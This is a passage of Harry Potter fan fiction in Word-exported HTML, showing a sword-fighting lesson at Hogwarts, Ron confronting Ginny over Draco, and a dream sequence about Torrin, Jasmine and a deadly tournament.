her,\n&#8220;yes.&nbsp; You will all learn to use a\nsword.&nbsp; &#8220;I&#8217;ll give you a demonstration\nbefore I begin teaching.&#8221; He glanced around the six years then he pointing\nright at Harry &#8220;you, come stand up here please.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Me?&#8221; Harry gestured towards\nhimself.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yes you boy, come here.&#8221; Atkins\nsmirked.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry looked unsure at both Ron\nand Hermione, but they gave him little gestures to go up. He turned towards\nAtkins and walked towards him.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What&#8217;s your name boy?&#8221; Atkins\nasked.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Harry sir, Harry Potter.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Ah, I should have known that.&#8221;\nAtkins smiled, &#8220;now have you ever handled one of these before?&#8221;&nbsp; He lifted the sword so the steel glistened in\nthe afternoon sunlight.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;No sir.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Here&#8221; Atkins handed Harry the\nsword, &#8220;feel the weight of it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry held the sword in his hand,\noddly enough it didn&#8217;t feel as heavy as it looked &#8220;It is very nice.&#8221; He held it\nback for Atkins to take it.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Nice? This could save your life\none day, I would come up with another word other than nice if I were you.&#8221;&nbsp; Atkins looked at his sword and took it from\nHarry&#8217;s hand.&nbsp; &#8220;Pick up a sword from off\nthe table over there.&#8221; He pointed to a table full of swords.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Nodding, Harry walked over to the\ntable and looked down at the swords. He picked one up and walked back towards\nAtkins.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Atkins took out his wand and\ntapped the end of his sword and Harry&#8217;s &#8220;Uleous&#8221; Atkins said. &#8220;There now, there\nwill be no injuries this day.&#8221; He put his wand in the pocket of his robe.&nbsp; &#8220;Now all I want you to do is attempt to block\nmy sword.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry nodded and with his other\nhand he grabbed the handle, he saw Atkins lift his sword into the air and it\nswoop down towards him. Harry moved his sword to the right blocking Atkins\nhearing a loud clang.&nbsp; Atkins came down\nin another direction to the left which Harry blocked hearing the loud clang\nagain.&nbsp; Atkins lifted up his sword\nstraight up as if to bring it down to stab through the heart.&nbsp; Harry quickly lifted and blocked.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Atkins smiled, &#8220;are you sure you\nnever handled one of these before?&#8221; He said</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry nodded, &#8220;nope never have.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well we have a natural on our\nhands.&#8221; Atkins praised, &#8220;excellent job Mr. Potter. You may return to the line\nnow.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry handed Atkins the sword and\nreturned to the line, Ron and Hermione were smiling.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Wow good job&#8221; Ron said smiling\nat his friend.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yeah it seemed no problem for\nyou,&#8221; Hermione added.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Yes it did feel pretty easy,&#8221;\nHarry put his fingers to his chin in thought, &#8220;the strange thing is, is that\nthe only weapon I&#8217;ve picked up was the Gryffindor sword.&#8221; He thought back to\nthat horrible basilisk, all he did was stick the creature with it, he never\nfought trying to block another person before.&nbsp;\nIt was a strange feeling, but also a good one.&nbsp; He didn&#8217;t even notice Atkins walking up and\ndown the line of students teaching the lesson.&nbsp;\nHarry looked over at Hermione and Ron who were really paying\nattention.&nbsp; He noticed that Ron for once\ndidn&#8217;t look board, but very interested.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry watched as Atkins handed a\nsword to Hermione next, she was looking down at it wide eyed.&nbsp; He watched her lift it up in the air still\nstaring at it, &#8220;I couldn&#8217;t use one of these if my life depended on it.&#8221; Harry\nheard her say.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione looked at Atkins who was\nsmiling, &#8220;this is probably the one course I won&#8217;t be good at.&#8221; She was\ndisappointed.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;How can you be so sure?&#8221; Atkins\nasked, &#8220;come on wave it about at bit, feel the motions, the swiftness of the\nblade.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Hermione nodded solemnly she\nwaved the sword a little bit in the air from side to side, it was sure a smooth\nfeel. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Now stand with you legs slightly\napart, put one foot behind you and the other in front, put all your weight on\nyour front foot and lunge forward at me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What?! I couldn&#8217;t what if I\npunctured you or something?&#8221; Hermione was shocked </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;You won&#8217;t hurt me Miss Granger,\nthe end has been blunted.&#8221; He lied then signaled with his hand, &#8220;come on now\nlunge at me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Seeming unsure Hermione bit her lip\nand lunged forward at Atkins almost striking him in the chest, she was blocked\nby Atkins swift move.&nbsp; And he was lucky\nif he was a second to late she would have pierced his skin.&nbsp; She stared at Atkins who was smiling.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Very good Miss Granger, if I were\na second later with my block I would have had a serious injury.&#8221; Atkins took\nthe sword from her hand, he stepped next to her looking up at Ron.&nbsp; Atkins always thought himself pretty tall,\nbut this boy was a tad bigger.&nbsp; &#8220;Height\nsometimes can be an advantage.&#8221; He said to Ron</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well I&#8217;m always first to know\nwhen it rains&#8221; Ron joked.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Ah a funny boy,&#8221; Atkins grinned\nbut he stopped, &#8220;this is serious here.&nbsp;\nThis is not a time to be amusing, it won&#8217;t be so funny when you&#8217;re lying\ndead in the grass somewhere because you were trying to be a wise ass.&#8221; He\nshouted to the class but mostly at Ron.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Atkins stepped directly in the\nmiddle of the class, &#8220;Next time I see you I will begin teaching you all the\nbasics be prepared for a taste of steel. It won&#8217;t be easy but you will learn\nand grow from it.&#8221; He then dismissed the class.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">The students cleared from the\nroom and headed towards the Great Hall for dinner, &#8220;now I bet you wish it was\nbook work don&#8217;t you Ron.&#8221; Hermione snickered.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron rolled his eyes at her\ncomment, &#8220;I don&#8217;t care how strenuous a class can be I never wish for book\nwork.&#8221;&nbsp; Something disturbing caught his\neye, Ron&#8217;s saw his sister Ginny talking with Draco and she was laughing at something\nhe said.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Both Harry and Hermione saw his\nshocked look and they also turned in the direction of where Ron was\nlooking.&nbsp; Hermione was the only one not\nshocked by seeing this, but was still concerned.&nbsp; Ron took in a deep breath looking at\nHermione, &#8220;so now that he&#8217;s done with you, he&#8217;s moving on to my sister. Well I\nwon&#8217;t allow it.&#8221;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Ron there is little you can do.&#8221;\nHermione replied.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Oh no there isn&#8217;t, I&#8217;m gonna\nmake sure Malfoy stays away from my innocent sister.&#8221;&nbsp; Ron heard Harry laugh sarcastically.&nbsp; He turned on his friend, &#8220;what?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Ron, your sister is hardly\ninnocent.&#8221; Harry said. &#8220;But you are right, Malfoy should stay clear of her, if\nhe acted anything like he did with,&#8221; he pointed to Hermione who immediately\nlooked away, &#8220;then she is probably in a mess of trouble.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ron nodded, &#8220;I&#8217;m going to put a\nstop to this right now.&#8221;&nbsp; Without another\nword he swiftly walked up to his sister and Draco.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Ginny turned around looking at\nher brother, he had the most furious look on his face it was almost\nfrightening, &#8220;Ron, what&#8217;s the matter?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Ginny what are you doing with\nhim?!&#8221; He glared at Draco who was smirking.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;We were just having a friendly\nconversation, not that it&#8217;s any of your business.&#8221; Ginny lifted her chin with\npride.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;Well this conversation is over,&#8221;\nRon grabbed his sisters arm and pulled her away from Draco dragging her back\ntowards the doors and out of the great hall.</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Harry and Hermione watched Ron\nleave with his sister,</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;&#8220;He&#8217;s not even going to eat dinner?&#8221; A voice\nsaid coming up behind them. </p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">Turning Harry found Zara smiling\nat him, &#8220;no, Ginny was just talking with Malfoy and Ron didn&#8217;t think it wasn&#8217;t\na good idea, well none of us think it&#8217;s a good idea.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:13.5pt">&#8220;What do you think Malfoy wants\nwith Ginny? I mean is she still&#8212;&#8221; Zara paused.</p>\n\n<p class="MsoNormal">Hermione nodded, Zara looked back at Draco and then towards\nthe great hall doors. &#8220;Oh dear that is not good.&#8221; She said and took off out the\ndoors in rapid speed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry turned and\nlooked at Hermione, &#8220;well its looks like it&#8217;s just you and me,&#8221; He smiled and\ngestured for her to sit down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded &#8220;It certainly\nlooks that way.&#8221; She sat down while her plate filled with what she wanted.&nbsp; She then looked over at him, &#8220;Are you\nconcerned about what Malfoy wants with Ginny?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Maybe just a little,&#8221; he made a\nsmall gesture with his fingers. &#8220;I know it&#8217;s going to sound really mean, but I\nwas more concerned about what he wanted with you. It&#8217;s not that I don&#8217;t care\nabout Ginny.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I wonder what attracts people to\nGinny, besides the fact that she&#8217;s kind and gentle.&nbsp; And she has that flawless red hair.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry stared at Hermione, &#8220;don&#8217;t\ndo that to yourself.&#8221; He smiled lightly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione nodded knowing what he\nwas talking about, &#8220;yes I know my hair is just as good.&#8221; She said in slight\nsarcasm.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That&#8217;s right&#8221; He smiled. Harry\nsaw her turn and smile at him as well.&nbsp;\nThey both returned to eating their dinner.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">****</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry turned over in his sleep&#8212;<i style="mso-bidi-font-style:normal">&nbsp; He\nstopped his training and looked to his left, he saw her approaching walking\nvery slowly towards him.&nbsp; She came towards\nhim and stopped directly in front of him, &#8220;Jasmine is there something you\nwant?&#8221; He asked coldly.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;No,&#8221; She glared. &#8220;I&#8217;m just here to give this back to you.&#8221; She held\nher hand out to him and opened her fingers revealing a necklace. </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">He looked down at her hand, the necklace that he had given to her\nsparkled in the sunlight. &#8220;No, you keep that.&#8221; He lifted his gaze to hers,\nwhich held for a moment.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Jasmine turned her head, &#8220;No Torrin, I don&#8217;t want it anymore.&nbsp; I don&#8217;t want any reminder of you at all.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;You are being silly Jasmine, keep the necklace I can&#8217;t take it back\nfrom you. And I won&#8217;t.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Then I&#8217;ll drop it down Ulrich&#8217;s bottomless pit, because I don&#8217;t want\nit.&#8221; She glared.&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Fine,&#8221; He held his hand out for it, &#8220;Give it to me!&#8221; He almost\nshouted.&nbsp; Torrin watcher her eyes narrow,\nglaring at him while shoving it in his hand.&nbsp;\n&#8220;I don&#8217;t see how you won&#8217;t be reminded of me if you give it back, we\nstill live in the same village.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Not for long.&#8221; Jasmine snapped.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Torrin tensed, &#8220;what?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;If Finley wins the tournament I agreed to marry him, and you know he&#8217;s\nbeen the reigning champion since I left Merlin&#8217;s.&nbsp; So he won&#8217;t loose.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I can&#8217;t believe this.&#8221; Torrin stared towards the ground.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Why not? Finley is very good I know I&#8217;ve seen it. I just knew he would\nbe really great one day.&#8221; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;No, not that. That you actually agreed to marry him.&#8221; He was bitter.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Her hands found her hips, &#8220;why wouldn&#8217;t I?&nbsp; He obviously loves me.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Do you love him?&#8221; He stared.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Jasmine was silent for a moment, &#8220;you have no right to ask me that.&#8221;\nShe glared.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Jasmine you can&#8217;t be serious about this, think about what you&#8217;re\ndoing?&#8221; Torrin stared.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I am thinking about that&#8212;&#8221; She was interrupted as Finley came over and\nbowed in her presence.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;My lady,&#8221; he lifted his head slightly with a smile.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Torrin&#8217;s hands clinched at his sides while he felt his blood boil.&nbsp; He watched as the smug looking Finley stood\nupright.&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Jasmine nodded briefly she stepped towards Finley but Torrin stepped in\nbetween her and that other man and heard Jasmine gasp.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Torrin get out of my way.&#8221; Jasmine said</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Torrin appeared as if he hadn&#8217;t heard her, &#8220;Finley I don&#8217;t think\nJasmine knew what she was thinking.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Finley stared, &#8220;Look you had your opportunity, Jasmine told me but you\nchose others over her.&nbsp; How could you do\nsuch a thing to such a fine, engaging young lady.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;What I do is none of your concern.&#8221; Torrin shot out, he pulled his\nsword and held it up at Finley,</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Torrin stop this, look at yourself.&#8221; Jasmine stared up at him.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Torrin looked down at Jasmine, &#8220;don&#8217;t agree to that Jasmine, you just\ncan&#8217;t.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Why not? And give me a really good reason.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Torrin was silent he couldn&#8217;t think, &#8220;you&#8217;ll be making a mistake and\nyou know it.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Jasmine closed her eyes lightly, then opened them. &#8220;The only mistake I\nmade was trusting you.&#8221;&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">He clearly saw the hurt in her eyes, &#8220;I&#8217;m sorry Jasmine.&#8221;&nbsp; Torrin could see she was fighting back tears.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;It&#8217;s too late Torrin, too late.&#8221;&nbsp;\nShe brushed past him quickly, grabbing Finley&#8217;s arm and steering him\naway from Torrin. </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Torrin stared watching her wake away with Finley, he cursed loudly\nturning to see Kai coming at him.&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;What&#8217;s the matter Torrin?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I&#8217;ve done something incredibly stupid Kai, Jasmine is going to marry\nthat, that&#8212;&#8221; He couldn&#8217;t speak he was so angry.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Not if Finley doesn&#8217;t win she won&#8217;t.&#8221; Kai replied</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Torrin&#8217;s head snapped towards Kai, &#8220;say that again?&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;If Finley looses the tournament, Jasmine will not marry him.&#8221;&nbsp; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Torrin felt confused, &#8220;so she&#8217;s only going to marry him if he&#8217;s a\nwinner, that&#8217;s not like her at all. She was never a fame seeker.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Kai laughed, &#8220;no Torrin she&#8217;s still not, but it was a way for him to\nprove his love for her. By winning the most difficult tournament ever\nplayed.&nbsp; She agreed that if he won she\nwould marry him.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Well I can&#8217;t let that happen.&#8221; Torrin replied</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;What are you going to do?&#8221; Kai smirked.</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;I&#8217;m going to enter the tournament.&#8221; </i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Kai laughed &#8220;you can&#8217;t be serious Torrin, people have been known to die\nin this tournament.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&nbsp;</i></p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">&#8220;Look I might not 